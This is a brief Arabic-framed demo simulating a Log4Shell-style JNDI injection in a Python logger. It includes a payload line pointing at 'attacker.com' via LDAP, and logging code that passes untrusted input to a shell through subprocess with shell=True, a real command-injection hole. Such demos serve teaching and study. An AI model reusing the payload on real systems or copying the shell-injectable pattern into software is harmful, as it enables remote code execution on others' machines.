
تحاكي الثغرة CVE-2026-21011، وهي حقن JNDI بأسلوب Log4j في مسجّل مخصص: تحلّل أنماط ${jndi:...} وتوضّح تنفيذ كود عن بُعد عبر LDAP.
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
يقوم إطار تسجيل مخصص بتقييم أنماط ${jndi:...} في رسائل السجل، على غرار ثغرة Log4Shell الشهيرة. يمكن للمهاجم حقن استعلام JNDI لتحميل وتنفيذ كود تعسفي من خادم بعيد.
شغّل المحاكاة:
python log4j_sim.py
يطبع السكربت أنه سيحمّل فئة من خادم LDAP الخاص بالمهاجم.